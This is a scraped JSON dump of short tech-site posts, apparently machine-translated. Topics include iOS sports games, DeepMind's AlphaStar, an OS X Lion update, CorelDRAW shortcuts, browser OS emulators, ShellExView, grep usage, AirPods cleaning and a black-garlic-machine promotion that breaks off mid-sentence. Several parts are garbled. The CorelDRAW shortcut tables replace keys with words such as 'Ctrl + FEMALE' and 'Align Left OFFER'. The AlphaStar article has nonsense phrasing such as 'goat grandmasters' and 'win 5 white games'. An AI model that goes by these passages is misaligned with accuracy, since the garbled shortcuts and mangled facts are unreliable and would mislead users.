interaction.\"\u0026nbsp;\nHere are 12 sports games to check out on iOS.\u0026nbsp;\nFIFA Soccer Build your Ultimate Team, join a league and go head-to-head with friends in\u0026nbsp;FIFA Soccer.\n  Golf Clash In\u0026nbsp;Golf Clash, you can compete against players around the world in tournaments or one-on-one games, and play matches against friends.\n  Grand Mountain Adventure Ski and snowboard in the backcountry in\u0026nbsp;Grand Mountain Adventure. Free-ride down mountain faces, test your skills on the slalom track or just cruise and take in the sights of this open-world game.\u0026nbsp;\n  Madden NFL Mobile Football Madden NFL Mobile Football\u0026nbsp;has everything you love about football, giving you the ability to create offensive schemes and build the perfect team.\u0026nbsp;\n  MLB Tap Sports Baseball 2020 MLB Tap Sports Baseball 2020\u0026nbsp;puts you in the game with features like 2020 MLB teams, MLBPA players and MLB ballparks.\u0026nbsp;\n  NBA 2K Mobile Basketball NBA 2K Mobile Basketball\u0026nbsp;offers console-like NBA 2K gameplay in an app. Season 2 has more court options and an updated 2020 player roster.\u0026nbsp;\n  NBA Live Mobile Basketball The\u0026nbsp;NBA Live Mobile Basketball\u0026nbsp;app has a new season of EA Sports NBA Live for basketball fans.\n  PGA Tour Golf Shootout Perfect your swing to collect and upgrade golf clubs in\u0026nbsp;PGA TOUR Golf Shootout. Play daily challenges and golf tournaments for more rewards.\n  R.B.I. Baseball 20 R.B.I. Baseball 20\u0026nbsp;is an arcade-style baseball game app that features different pitch types, batting power ups, pitcher's perspective and more.\u0026nbsp;\n  Tennis Clash Swipe and swing through a tennis match in the fast-paced\u0026nbsp;Tennis Clash\u0026nbsp;app.\n  Ultimate Rivals: The Rink\u0026nbsp; Ultimate Rivals: The Rink\u0026nbsp;lets you assemble a dream team of athletes from the NHL, WNBA, NBA, MLB and the US Women's National Soccer team for wild arcade style hockey. Play three-on-three in short games to learn the controls, but don't forget about strategy. This game is available through\u0026nbsp;Apple Arcade.\n  WWE Champions Duke it out in the ring with new superstars and all-time greats in\u0026nbsp;WWE Champions\u0026nbsp;on the Road to Wrestlemania.\n  For more mobile games, check out Apple Arcade: The full list of games for iPhone, iPad, Mac and Apple TV.\nncG1vNJzZmismaXArq3KnmWcp51kfnN50qmmq6yjYrSiucSsZK2nXaW5osWMqKVmoZ%2Boeri0yKWcZqSZq7Juv8%2Boqa2rXZa%2FpnnBnqWcoJWZ\n","link":"/post/12-sports-games-to-play-on-ios-while-live-sports-are-benched/","section":"post","tags":null,"title":"12 sports games to play on iOS while live sports are benched"},{"body":"AlphaGo is an artificial intelligence created by Google's DeepMind in 2015. This software has the ability to play the fine go and has defeated many of the world's leading goat grandmasters.\nRecently, another Google DeepMind AI named AlphaStar has defeated people in a completely different game, real-time strategy game StarCraft II: Wings of Liberty.\nAlphaStar began training StarCraft II: Wings of Liberty by reviewing the video of professional gamers. The time this AI learns the steps of StarCraft is equivalent to 200 years in real life. After that, AlphaStar was taught by DeepMind how to play StarCraft as the best players through competitive models. After the learning process is over, DeepMind selected 5 best versions of AlphaStar to compete with the best StarCraft II players in the world.\n  The match was held in December 2018 and until late last night some notable situations were broadcast on YouTube and Twitch.\nThe first AlphaStar competes with a player named TLO, a Zerg player in StarCraft. However, this game seems to be unfair because TLO has \"had\" to play Protoss for research purposes. AlphaStar results win 5 white games.\nAnother AlphaStar version also won 5 white games when it was played against a player named MaNa. However, on the live broadcast last night, MaNa defeated AlphaStar in a new game match.\nAlphaStar demonstrated impressive ability to control troops with fast movement, good speed control in battle . AlphaStar has a lower number of action per minute than gamers but decided to make it smarter. .\nHowever, in the play of AlphaStar, there is also a gap and MaNa discovered it. In order to crush the opponent, this AI usually moves almost the entire army towards the Maan base. Taking advantage of that, MaNa constantly sends a small group of his troops towards the back of AlphaStar's base and harassing. For defense, AlphaStar will send its entire army back to the base. MaNa takes advantage of this time to build a stronger force. And finally the player defeated AlphaStar.\n  To summarize, AlphaStar defeated StarCraft II with a 10-game victory and lost only 1 game. However, it is possible that in the competition, AlphaStar will win a great victory.\nCompared to Go Go, StarCraft II is a more complicated game for AI. Because every time in StarCraft, AI can perform more than 300 actions including moving characters, selecting items . In addition, StarCraft possesses non-linear gameplay so when competing AI needs to build goals. for itself and must consider the effect of each operation on the winning ability of the entire game.\nSee more:\nAlphaGo continues to prove its unbeaten ability in Go Scientists have created the world's strongest AI, defeating the best AI in chess AI has created faces like real people, faking cars, houses and animals ncG1vNJzZmismaXArq3KnmWcp51krq28x5qqrZmiYrSwu8alnGaclZq9rrXNnapmmaKptqe1wqKYpWWZo8GmuMuinp6mk5p6sb7Er5iipKNivLex0WaqrZmimL%2BistNmoKJloKGuurHRrGRqaGE%3D\n","link":"/post/alphastar-google-deepmind-s-artificial-intelligence-prevails-over-starcraft-ii-players-10-1/","section":"post","tags":null,"title":"AlphaStar, Google DeepMind's artificial intelligence prevails over StarCraft II players 10-1"},{"body":"The new patch from Apple fixes 40/50 critical security bugs on Mac OS X and upgrades Safari to version 5.1.3.\n  The new update is over 700MB in size. Photo: Geeky-gadgets.\nApple has just released an update for Mac OS X 10.7 Lion and 10.6 Snow Leopard. The last time the company made an operating system update was mid-October 2011. Some users said that after downloading and installing the patch, all applications have \" crashed \" when booting. The company said that among the above patches, there were 40/50 security holes considered extremely dangerous. In addition to automatically updating on Mac OS X, users can download the patch from Apple's website.\nOne of the above patches fixes SSL 3.0 (secure socket layer) and TLS 1.0 (transport layer security). The bug was discovered by researchers in September before using a hack tool called BEAST (Agaisnt SSL / Browser Exploit SSL / TLS). Earlier, \" Apple \" made similar bug fixes on iOS. In addition, the company released a patch for certificates issued by Digicert. MacBook manufacturer also released 6 patches for QuickTime to avoid malicious image, audio and video files for the device. Other components in the operating system such as Apache, ColorSync, OpenGL, HPH and X11 . are also fixed by the company. In addition, Mac OS X 10.7.3 also helps users to avoid Wi-Fi disconnection when exiting \" Sleep \" status and better integrating with Active Directory on Windows Sever. Wi-Fi-related errors that appeared on the first update for OS X Lion in August were also fixed by the manufacturer. Mac OS X 10.6 has only one patch with the code 2012-001. Safari web browser on Mac OS X is also upgraded to version 5.1.3.\nSome Mac users said they had a \" CUI \" error after updating to 10.7.3. Applications also cannot start and only report the error as above. To fix this problem, users download and install OS X Lion 10.7.3 (Client Combo) here . Before installing this patch, users should start the computer in \" Safe mode \" by holding down the Shift key when the laptop starts up. In addition, Time Machine can be used or use Lion's Restore HD recovery partition to restore the previous state. To use Restore HD, when the machine boots, the user holds the Alt / Option key.\nncG1vNJzZmismaXArq3KnmWcp51krrG8y55kq52cmq60scNmpqxlqGK5qrvNZqypnJGpsm59j3Bq\n","link":"/post/apple-released-os-x-lion-update-10-7-3/","section":"post","tags":null,"title":"Apple released OS X Lion update 10.7.3"},{"body":"Chrome and Firefox engineers have just developed a new HTML5 protocol, to help users of these two browsers can make video conversations with each other without having to install any more applications. Come on.\nAccording to Cnet on 5.2, Chrome and Firefox engineers developed the WebRTC protocol in HTML5 to make this amazing.\n  Chrome and Firefox users can chat with each other - (Photos from YouTube)\nThis is an open source project that allows the browser to access multimedia hardware without having to install any additional applications.\nPreviously, Chrome and Firefox were able to call video based on WebRTC protocol, but it could only be done when users used the same browser together, but could not chat the \"left\" browser as it is now.\nTo experience this feature, users need to use Chrome 25 beta and Firefox Nightly.\nNext, in Firefox, enter the command about: config into the address bar, go to media.peerconnection.enabled, then double-click it to switch to True.\nDetails of the demonstration video and activation action can be viewed here:ncG1vNJzZmismaXArq3KnmWcp51ksKm%2BzqacZpmemXqntdGenaiwXZiur3nCoZitZaeewal5xJqaoWWfqbWmvg%3D%3D\n","link":"/post/chrome-and-firefox-can-chat-with-each-other/","section":"post","tags":null,"title":"Chrome and Firefox can 'chat' with each other"},{"body":"Before using any program or application, we first need to learn about the layout / interface of that software first. And with the program CorelDRAW is no exception, we will learn about CorelDRAW first.\nI. Quick Start Dialog When you just start the program, a dialog box called Quick Start appears that allows you to quickly create a new drawing or quickly open an existing drawing on the machine. In addition, the dialog box also allows access to learning tools, checking for program updates, etc.\n  In this dialog box, the commonly used function is New blank document, which in Vietnamese means a new blank document, and when you select it, the Create a New Document dialog box will appear with the interface as shown below.\nIn this dialog you can set technical parameters such as the name of the drawing, paper size, number of pages, color mode, resolution, etc.\n  Name: The name of the drawing that you will create by default is named Untitled-1, Untitled-2, Untitled-3… Preset Destination: You can roughly understand where your drawing will appear last like to a website, to a printer or to a photo. Size: The size of the paper you will be working on. You can choose from existing paper sizes or create a new one yourself. By entering values ​​in the Width and Height fields below. Number of pages: Number of pages to create. Primary color mode: The color mode you can choose is RGB tricolor mode or CMYK four color mode. Rendering resolution: The resolution of the drawing can be adjusted as you publish. Review mode: Preview mode. II. CorelDRAW . main interface The interface of the CorelDRAW program is similar to other programs including components such as title bar, menu bar, standard toolbar, status bar, etc.\nThere are also additional properties bar, toolbox, palette, etc. details of the functionality of the components are listed below.\n  Title bar: Displays the title of the drawing. Menu bar: Contains submenus and commands. Standard Toolbar: Contains commonly used commands such as open, save, print, etc. Property Bar: Contains commands related to the currently selected tool and will change according to the tool you are using. Rulers: Horizontal and vertical rulers that you use to define the size and position of objects in the drawing. Toolbox: Contains tools for creating and modifying objects in the drawing. Document Window: A workspace area surrounded by scroll bars including the drawing page and surrounding areas. Drawing Page: It is a rectangle where the objects contained herein will be printed. Color Palette: The palette contains color swatches. Document Navigator: Allows you to add pages to a document or move between pages. Document palette: Contains swatches of the open drawing. Status bar: Displays information about object properties such as type, size, color, etc. III. Setting and setting parameters for a page The page properties bar allows you to adjust page settings such as paper size, size, page orientation, spacing units, etc.\nTo use the page's property bar, press the Space key on the keyboard or select the Picktool tool in the toolbox, in the order of function of each command button as follows:\n  Select the available paper sizes (sizes) such as A0, A1, A2, A3, … Enter the width and height of the page as you like Vertical or horizontal page orientation Apply dimensions to all pages in a drawing Apply size to current page Select the unit of length measurement You can navigate the pages in the drawing using the navigation bar at the bottom right of the application window, in the order of function of each command button as follows:\n  Go to the first page. Go to previous page. Open the go to page dialog. Go to the next page. Go to the last page. Add new page. Click on any page tab to go to that page. IV. Shortcut keys and shortcut combinations In addition to using the mouse to create waterfalls with CorelDRAW, you can use keyboard shortcuts and shortcut combinations to create faster and shorten the time to complete the product. In the beginning you may not know much, but after a while of use, you will certainly know the shortcuts and combinations of these shortcuts listed below.\n1. Shortcuts to manipulate files in CorelDRAW  STT COMEINAND SHORT KEYS   first new Ctrl + FEMALE   2 Open Ctrl + O   3 Save Ctrl + WILL   4 Save As Ctrl + Shift + WILL   5 Import Ctrl + I   6 Export Ctrl + E   7 Print Ctrl + P   8 Exit Alt + F4   2. Keyboard shortcuts to manipulate EDIT in CorelDRAW  STT COMEINAND SHORT KEYS   first Undo Ctrl + Z   2 Redo Ctrl + Shift + Z   3 Repeat Ctrl + CHEAP   4 Cut Ctrl + X   5 Copy Ctrl +   6 Paste Ctrl + DRAW   7 Delete Delete   8 Symbol =\u0026gt; Symbol Manager Ctrl + F3   9 Duplicate Ctrl + EASY   ten Step and Repeat Ctrl + Shift + EASY  11 Find and Replace =\u0026gt; Find Objects Ctrl + F   twelfth Object Properties Alt + Enter   3. Keyboard shortcuts to manipulate VIEW in CorelDRAW  STT COMEINAND SHORT KEYS   first Full-Screen Preview F9   2 View Manager Ctrl + F2   3 Snap to =\u0026gt; Document Grid Ctrl + Y   4 Snap to =\u0026gt; Objects Alt + Z   5 Dynamic Guides Alt + Shift + EASY   6 Alignment Guides Alt + Shift + A   4. Keyboard shortcuts to manipulate Arrange in CorelDRAW  STT COMEINAND SHORT KEYS  first Transformations =\u0026gt; Position Alt + F7  2 Transformations =\u0026gt; Rotate Alt + F8   3 Transformations =\u0026gt; Scale Alt + F9   4 Transformations =\u0026gt; Size Alt + F10  5 Align and Distribute =\u0026gt; Align Left OFFER  6 Align and Distribute =\u0026gt; Align Right CHEAP  7 Align and Distribute =\u0026gt; Align Top BILLION  8 Align and Distribute =\u0026gt; Align Bottom REMOVE  9 Align and Distribute =\u0026gt; Align Centers Horizontally E  ten Align and Distribute =\u0026gt; Align Centers Vertically OLD  11 Align and Distribute =\u0026gt; Center to Page P  twelfth Order =\u0026gt; To front of Page Ctrl + Home   13 Order =\u0026gt; To Back of Page Ctrl + End  14 Order =\u0026gt; To Front of Layer Shift + Page Up  15 Order =\u0026gt; To Back of Layer Shift + Page Down   16 Order =\u0026gt; Forward One Ctrl + Page Up   17 Order =\u0026gt; Backward One Ctrl + Page Down   18 Group Ctrl + WOOD   19 Ungroup Ctrl + U   20 Combine Ctrl + ERROR   21 Break Apart Ctrl + KY   22 Convert to Curves Ctrl + Q  23 Convert Outline to Object Ctrl + Shift + Q   5. Keyboard shortcuts to manipulate Effects in CorelDRAW  STT COMEINAND SHORT KEYS  first Adjust =\u0026gt; Brightness/Contrast/Intensity Ctrl + REMOVE   2 Adjust =\u0026gt; Color Balance Ctrl + Shift + CANCEL  3 Adjust =\u0026gt; Hue/saturation/Lightness Ctrl + Shift + U   4 Contour Ctrl + F9   5 Envelope Ctrl + F7   6 Lens Ctrl + F3   6. Keyboard shortcuts to manipulate Text in CorelDRAW  STT COMEINAND SHORT KEYS   first Text Properties Ctrl +   2 Edit Text Ctrl + Shift + UP   3 Insert Symbol Character Ctrl + F11  4 Insert Formating Code =\u0026gt; Non-breaking Hypen Ctrl + Shift + -  5 Insert Formating Code =\u0026gt; Optional Hypen Ctrl + -   6 Align to Baseline Alt + F12  7 Writing Tools =\u0026gt; Spell Check Ctrl + F12   8 Convert Ctrl + F8   7. Keyboard shortcuts to manipulate Tools in CorelDRAW  STT COMEINAND SHORT KEYS   first Options Ctrl + J   2 View Manager Ctrl + F2   3 Color Styles Ctrl + F6   4 Object Styles Ctrl + F5   5 Macros =\u0026gt; Macro Manager Alt + Shift + F11   6 Macros =\u0026gt; Macro Editor Alt + F11   7 Macros =\u0026gt; VSTA Editor Alt + Shift + F12   8 Macros =\u0026gt; Stop Recording Ctrl + Shift + O  9 Macros =\u0026gt; Record Temporary Macro Ctrl + Shift + RED  ten Macros =\u0026gt; Run Temporary Macro Ctrl + Shift + P   8. Help  Comeinand \u0026nbsp;Keystrokes   Help Topics F1   9. Window  Comeinand \u0026nbsp;Keystrokes   Refresh Window Ctrl + W   Conclude OK, so in this tutorial, I have guided you through the overview interface of the CorelDRAW X6 program, and at the same time, I have also summarized the shortcuts commonly used in the CorelDRAW program with you.\nI would like to pause my pen here, in the next article I will introduce you to the functions of the tools in the Toolbox toolbox.\nHope the article is useful. See you in the next article.\nncG1vNJzZmismaXArq3KnmWcp51ksLC%2BxKWbq5mnYsV3ecinq56qlpawpnnOr5yrrpmaxG6tzZ1knKeimrmlvsCwZLFuXaCyur%2BMraZmo56kxA%3D%3D\n","link":"/post/coreldraw-x6-interface-overview-and-coreldraw-x6-keys-to-know/","section":"post","tags":null,"title":"CorelDRAW X6 interface overview, and CorelDRAW X6 KEYS to know"},{"body":"If you want to experience Windows 95, Mac OS X Lion or Windows 3.1 then this article by make-up will give you. These operating systems can be run right in the browser without installing any tools or software.\n1. Windows 95 Released in August 1995, Windows 95 is one of the most complete operating systems of the decade. It laid the foundations for the Windows operating system we see today.\u0026nbsp;\nOn Windows 95, the Start menu and Taskbar were introduced. Furthermore, Windows 95 was also the first Windows operating system to no longer depend on MS-DOS for accessing files and drives.\n  The Windows 95 emulator we send you is running Windows 95 OSR2. This version does not support USB and is only for Pentium chip. While running the emulator, you can use the controls in the upper right corner to switch to full screen mode. Besides, you can also enable / disable the mouse.\nSince it is a web emulator, all your changes will not be saved.\nAccess Windows 95 here.\n2. Classic Macintosh In 1984, Apple released the first computer in the Macintosh line, later renamed the Mac. This was the first groundbreaking, widely-sold computer model with a graphical user interface.\n  The Macintosh runs System 7.0.1 with the first three Mac applications, MacPaint, MacDraw and Kid Pix. Because it requires less resources than the Windows 95 emulator, Classic Macintosh emulator will run faster.\nAccess Classic Macintosh here.\n3. Macintosh Plus Two years after releasing the first Macintosh, Apple went on to release the Macintosh Plus. This computer has 1MB of RAM (maximum support 4MB), 800KB floppy drive and supports 7 peripherals.\nIn 1986 there were quite a few applications and games so the Macintosh Plus emulator included games like Risk, Cannon Fodder and Shufflepuck.\n  Access Macintosh Plus here.\n4. Windows 3.1 Windows 3.1 was released in April 1992 to replace the original Windows 3.0.\u0026nbsp;\nAlthough the name is the same, Windows 3.1 is greatly improved. Most notably, Microsoft introduced the TrueType font for the first time, turning Windows into a word processor. 3 available fonts are Arial, Courier New and Times New Roman.\n  Other features added for the first time include drag and drop icons, mouse support in MS-DOS applications and the Program Manager application. Theoretically, Windows 3.1 supports up to 4GB of RAM but actually only gets 256MB.\nWindows 3.1 was replaced by Windows 95 but was supported until 2008.\nAccess Windows 3.1 here.\n5. PC DOS 5 In a time when Apple and Commodore were competing with each other with the Macintosh and Amiga lines, IBM quietly appeared. In 1981, IBM sold its first computer model.\n  In 1986, the PC XT 286 appeared as an upgrade to the first model of the computer. The XT 286 was also introduced with PC DOS 5. The XT 286 had 640 KB of RAM, a 20MB hard drive and a 6MHz processor.\nBy 1991, PC DOS 5 was released, marking one of the most important overhauls in the history of the DOS line. This is also the last DOS version in which Microsoft and IBM share all the code.\nThis DOS 5 PC emulator will bring you 3 classic games for you to experience including Wolfenstein 3D, Original Civilization and Monkey Island.\nAccess PC DOS 5 here.\n6. Mac OS X 10.7 Mac OS X 10.7 - aka Mac OS X Lion - is the youngest operating system on this list. It was released by Apple in July 2011.\nThis operating system gives Apple users many first-time features such as AirDrop and Launcher app. OS X Lion was also the first operating system to come out with emoji fonts and FaceTime.\n  Besides, OS X Lion also killed some features nwh Front Row, iSync and QuickTime Streaming Server.\nDue to being a relatively new operating system, the Mac OS X Lion emulator has limited features. You will only have access to the desktop, menus, and some basic system information. But at least it allows you to experience what the operating system looks like.\nAccess Mac OS X 10.7 here.\n7. Windows 1.01 Released in November 1985, Windows 1.01 was the first widely publicized version of Bill Gates' operating system. Essentially, this operating system is the graphical user interface for MS-DOS. Windows 1.01 runs as an MS-DOS program.\n  Applications on this operating system include Calculator, Calendar, Clipboard Viewer, Clock, Notepad, Paint, Reversi, Cardfile, Terminal and Write. All of these applications are included in the emulator we present to you.\nInside Windows 1.01 there are also separate drivers for the video card, mouse, keyboard, printer, serial media, and apps.\nAccess Windows 1.01 here.\nncG1vNJzZmismaXArq3KnmWcp51ksrm8xKugnqaTmnp4ec6lm2anoJq%2FosDIp55mq6mowaa50mapop%2BYqXqwuoytn55lkqe8uL%2FEqw%3D%3D\n","link":"/post/experience-7-old-operating-systems-right-on-the-browser/","section":"post","tags":null,"title":"Experience 7 old operating systems right on the browser"},{"body":"Many third-party programs often install context menu extensions and poorly programmed options that can slow things down. Here's how to fix the context menu issue that opens slowly, freezes, or hangs when you right-click.\nUse ShellExView to view third-party extensions You can directly remove context menu items from the Windows registry. However, it's a rather time consuming process and the article will show you how to quickly fix the problem instead.\nWith that in mind, the article recommends ShellExView, one of the great free NirSoft utilities. It also runs on Windows 10 and older versions of Windows. Download and launch ShellExView to get started.\nYou will see a long list of Windows shell extensions. However, a lot of them are created by Microsoft and included with Windows. Those will not slow down your system. To hide all Microsoft extensions, click Options\u0026gt; Hide All Microsoft Extensions .\n You should now see a more manageable list of third-party shell extensions from the programs you have installed. For example, on this Windows 10 PC, you can see extensions from programs like 7-Zip, Notepad ++, NVIDIA graphics drivers, Dropbox, Google Drive, Malwarebytes, and Paint.NET.\n Disable the extension in ShellExView to fix the problem You will want to find out which shell extension is causing the problem. This involves disabling one or more shell extensions, restarting Explorer and then seeing if your problem gets resolved.\nFor example, you can do this in several ways:\n- Disable disabling all third-party extensions and re-add them one by one until the problem appears.\nDisable each shell extension until the problem is fixed.\n- Disable extensions in groups. For example, you can disable half of the extensions at the same time. If your problem is resolved, you know that one of the disabled extensions is the cause of the problem, and you can start from there. This is the fastest method.\nHere's how to disable extensions:\nFirst, select the extensions you want to disable. You can click one by one to select, press Ctrl+ Aor click Edit\u0026gt; Select All to select all, press and hold the key Shiftwhile clicking to select a range, or press and hold the key Ctrlwhile clicking to select multiple widgets extend.\nTo disable one or more selected shell extensions, right-click them and choose Disable Selected Items, or click File\u0026gt; Disable Selected Items . (To re-enable them later, select Enable Selected Items here.\n Disabled shell extensions will show Yes in the Disabled column .\n Changes will not take effect until you restart Windows Explorer. You should see an option for this in ShellExView 's Options menu , but you shouldn't do that. It causes Explorer and the Windows taskbar to reload until it is logged out.\nInstead, you should use Task Manager. To open Task Manager, press Ctrl+ Shift+ Escor right-click the taskbar and select Task Manager.\n Click Windows Explorer under Apps on the Processes tab . (If you don't see this tab, click More Details. ) Then click the Restart button in the lower right corner of the Task Manager window .\n Explorer will restart. Now, try right-clicking on a folder, file or your desktop - anything sluggish before. If it is still slow, you need to try disabling other shell extensions. If it's faster than before, then you have disabled a shell extension that is slowing it down.\nRepeat until you solve the problem Repeat this process to enable and disable extensions and determine what is causing your problem. By checking the context menus after each time you make a change (first, remember to restart Explorer), you can determine which one is causing the problem.\nTurn off any extensions you don't want to use. You can always reopen ShellExView and re-enable them in the future.\nFor the PC in the example, the culprit that slows down folder context menus is the Google Drive GDContextMenu Class extension . Obviously this is a known issue. However, with the extension disabled in ShellExView, the PC's context menus returned to normal speed.\n And, if you want even more speed, you can disable animations in Windows 10. Context menus pop up quickly in no time after you do that. It's just one of the many ways to speed up your Windows 10 PC.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXq0uM6wZJynnqmyucCMppynrV2eu27DyKebqK%2BjYn5xv4yfoKWdXZrFsbjOq5yr\n","link":"/post/how-to-fix-slow-context-menu-in-windows-10-s-file-explorer/","section":"post","tags":null,"title":"How to fix slow context menu in Windows 10's File Explorer"},{"body":" If you like to make videos and share them with the world, this will definitely come in handy! Download and install AVS YouTube Uploader === Create a YouTube Account (if you don't have one already) ===\nPart 1of 2:\nCreate a YouTube Account (if you don't have one already)  Open AVS YouTube Uploader.\n  Click Create New Account.\n  Fill up the form and create your account once you are re-directed to Google.\n  Enter your username and password into the account window.\n  Check Remember Password so you don't have to enter it every time you log in.\n  Isabella Humphrey Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnqiwtJmsKitpKqvpnnUqaOomZSavw%3D%3D\n","link":"/post/how-to-use-avs-youtube-uploader/","section":"post","tags":null,"title":"How to Use AVS YouTube Uploader"},{"body":"Grep stands for Global Regular Expression Print. This is a useful command and is widely used by Linux system engineers, while searching for a string or patterns with regular files and in the system.\nIn this article, TipsMake.com will show you how to use grep command (many examples are included).\nNote : The article has tested all commands and examples on machines running Debian 10.\nDo you know how to use grep? Prerequisites Install grep on Debian 10 Use the grep command Search for a specific file or directory in the system Search for a complete word with grep Search for a specific piece of text in a file Do a search in multiple files Search for two different words with a single grep command Number the lines that fit the text Reverse search Count matches Displays file names that match specific text Show only matching text Display lines starting with specific word (s) Display lines that end with specific word (s)  Prerequisites You need to have a computer running Debian 10 with root access.\nInstall grep on Debian 10 By default, grep is installed on most systems including Debian 10. If it is not already installed, open the terminal and issue the following command as root.\napt-get install grep  When you are asked to confirm, press Y and then type from the keyboard. Wait for the installation process to finish.\nCheck the version of grep by running the following command in the terminal.\ngrep --version  The command will return the version along with other details as shown below.\nUse the grep command Search for a specific file or directory in the system When you want to search or locate a specific file in your system, the command's syntax is as follows.\nls -l | grep -i 'tên file hoặc thư mục'  Need to put the word you want to find in quotation marks if it contains spaces. Assuming you are looking for 'network daemon' , the command will look like the following.\nls -l /etc/network/ | grep -i 'interfaces daemon'  Search for a complete word with grep You may notice, grep has returned all sorts of results with the word 'network' , for example networks, networked, networking or abcnetworking, etc. If you want to limit your search to include specific words If so, you must use the -w option as follows.\nls -l /etc/ | grep -i -w network  Search for a specific piece of text in a file Suppose you have a large file and you want to search for a specific piece of text. The syntax of the command will be as follows.\ngrep – i 'văn bản bạn muốn tìm kiếm' 'tên file và đường dẫn'  Do a search in multiple files If you want to search for a document from a large number of files and subfolders in a large directory, you can do this using the -r option .\ngrep -i -r \"fox\"  Here is a sample output showing the word 'fox' included in both test.txt and tree.txt :\nYou can also provide a directory path and it will search all the files in that directory and its subfolders.\nSuppose you want to find 'interfaces' in / etc / and its subfolders. The command should be as follows.\ngrep -i -r interfaces /etc/  Here is the sample output:\nSearch for two different words with a single grep command You can search for two different words with an egrep command (a variant of grep ) as follows. Let's say you want to search for fox and lazy words in multiple files with the -r option . You must run the following command on the terminal.\negrep -w -r \"fox|lazy\"  Here is the sample output:\nNumber the lines that fit the text Another useful option is -n numbering of lines of text. The following is an example illustrating how to use the -n option .\ngrep -i -n \"fox\" test.txt  The following is a sample output for the numbering of lines matching the word 'fox' .\nReverse search This is in contrast to what we did above. If you want to return a text that does not include the word you specify, you can use the -v option .\nThe following is an example that illustrates the use of the -v option .\ngrep -v -i \"fox\" test.txt  Here is the sample output:\nAll of the above options ( -n , etc.) can also be applied with the -v option .\nCount matches If you want to count the number of results that match a specific text, you can use the -c option .\nCount the word 'fox' in test.txt inside the current directory. Run the following command in the terminal:\ngrep -i -c fox test.txt  Below is a sample output after executing the above command, showing that the word 'fox' has appeared 3 times in the test.txt file .\nDisplays file names that match specific text If you want to find files containing your specific words, you can use the -l option with -r as follows.\nAssuming all the files are located in the current directory and the specific word you are looking for is 'fox'.\ngrep -i -r -l fox  Here is a sample output showing the word 'fox' is present in test.txt , as well as in the subdirectory and asif.txt file:\nDisplays file names that match specific text\nShow only matching text By default, grep displays entire lines that match the text or words you want. If you want grep to display words that match, you can use the -o option as follows.\ngrep -i -o fox test.txt  Here is a sample output.\nDisplay lines starting with specific word (s) If you want to retrieve all lines starting with a specific word, you can use the ^ operator as follows.\nSuppose you want to return all lines beginning with 'unix' and the file is log.txt located in the current directory.\nRun the following command in the terminal:\ngrep -i \"^unix\" log.txt  Here is the sample output:\nDisplay lines that end with specific word (s) If you want to return all lines from a file ending with a specific word (s), you can use the $ operator as follows.\nAssuming the word is 'linux' and the file you want to search for is rev.txt located in the current directory.\nRun the following command:\ngrep -i \"linux$\" rev.txt  Here is the sample output:\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnq1tMRmnqudoGKwsLnMmqWdZZ%2BjeqWxwaKYp2VhZQ%3D%3D\n","link":"/post/how-to-use-the-grep-command-on-debian-10/","section":"post","tags":null,"title":"How to use the grep command on Debian 10"},{"body":"If you have an AirPods or an AirPods Pro, you'll probably use them very often. During use, these accessories can easily get dirty.\n  Therefore, you will need regular cleaning to keep them clean. Here's a three-step cleaning process for AirPods or AirPods pro. To get started, have a lint-free cloth that can be found in many phone accessory stores.\nStep 1: Prepare and take note\nAlways use a soft, lint-free cloth to avoid causing any scratches. For the charger, you should also use soft brushes.\n  Although they are waterproof, they should never be cleaned with too much water. A wet cloth or isopropyl alcohol is sufficient.\nDo not put the headphones back in the charging case when they are not completely dry.\nStep 2: Clean the tip and body of the headset\nThis is considered a place in direct contact with headphones and needs to be cleaned carefully. If you use AirPods Pro, you will need to take off the nipples and rinse them off with water. Never use soap or cleaning agents. Then continue to wipe the body of the headset with a wet cloth and then wipe with a dry cloth.\n  For regular AirPods, simply wipe the ear with a dry cloth, then wipe with a damp cloth from head to body. Finish off with a dry cloth.\nStep 3: Clean the charging box\nCompared with headphones, the charging case will be less dirty. You can wipe the case for your AirPods with a soft, lint-free cloth. Apple recommends wetting the fabric with isopropyl alcohol will help clean the case better. Use a cotton swab to clean the headphone socket.\n  For the charging hole, you can use a soft bristle brush like a paint brush to brush off the dust stuck inside, do not use hard brushes, pokes to clean.\nDo the three steps above, and you'll always keep your AirPods and AirPods pro looking like new. Hope this article can provide you with useful information.\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWaooqS9pr7LsmScpJWWu6q6xmaYoqqgpLG0eceemJ2omKS7pr%2BMsKCtoF1oerTAxKmqZqeWYq6xvMueZKyskaOxor7D\n","link":"/post/instructions-for-properly-cleaning-airpods-headphones-with-3-steps-of-apple-standard/","section":"post","tags":null,"title":"Instructions for properly cleaning AirPods headphones with 3 steps of Apple standard"},{"body":"Black garlic making machine Magic is the first family of black garlic making machine that takes time to make black garlic, it takes only 8 days, so it is effective in making black garlic extremely productive. So which country makes the black garlic machine? Is that good?\nBenefits of eating black garlic made from Magic black garlic maker Fresh garlic after being fermented into black garlic has a high nutritional value. Eating black garlic every day will work:\nStrengthen health, increase resistance, fight disease. Inhibits cancer cell growth and lowers cholesterol. Stabilize blood pressure and treat cardiovascular diseases. Protect liver function . Magic Black Garlic Making Machine - Korean brand is very reliable Magic is a famous household brand in Korea. This brand has been present in Vietnam for many years and has so far gained much affection from Vietnamese consumers.\nMagic is famous for items such as lunch box, food grinder, non-oil fryer, oven, blender, black garlic machine .\n  Magic products are applied with modern technology of Korea, so they are of excellent quality, so they are loved by Vietnamese people, long-term warranty regime to ensure the highest benefits for customers.\nShould I use a magic black garlic machine? Black garlic making machine made from high quality materials Most manufacturers of black garlic making machines on the market such as Tiross black garlic making machine, Black garlic making machine Perfect, Black garlic machine Mishio or black garlic machine Panworld all designed plastic outer shell, the garlic making machine Black Magic uses steel powder coated steel so it is very durable, anti-corrosion, makes it easy to clean and more durable.\nThe pot is made of glazed aluminum alloy, which is very safe for health, limiting the stick to help your cleaning work less difficult.\nThe glass lid is transparent and has a very good heat-resistant rubber gasket. Garlic stacking tray with very durable stainless steel, safe for health.\n  Large capacity When referring to the Black Magic Garlic Machine, the most popular name is the 8-day Magic Korea A69 black garlic machine. The machine has a capacity of up to 5 liters, a garlic tray design has 3 floors to help users make 1kg of fresh garlic for 1 time use. The ratio of black garlic obtained is 60%.\nTime to make black garlic shorter Machine equipped with a large capacity of 140W - a higher capacity than other black garlic making machines (90W, takes 12-15 days to make garlic), will shorten the fermentation time, only 192 hours to help your family 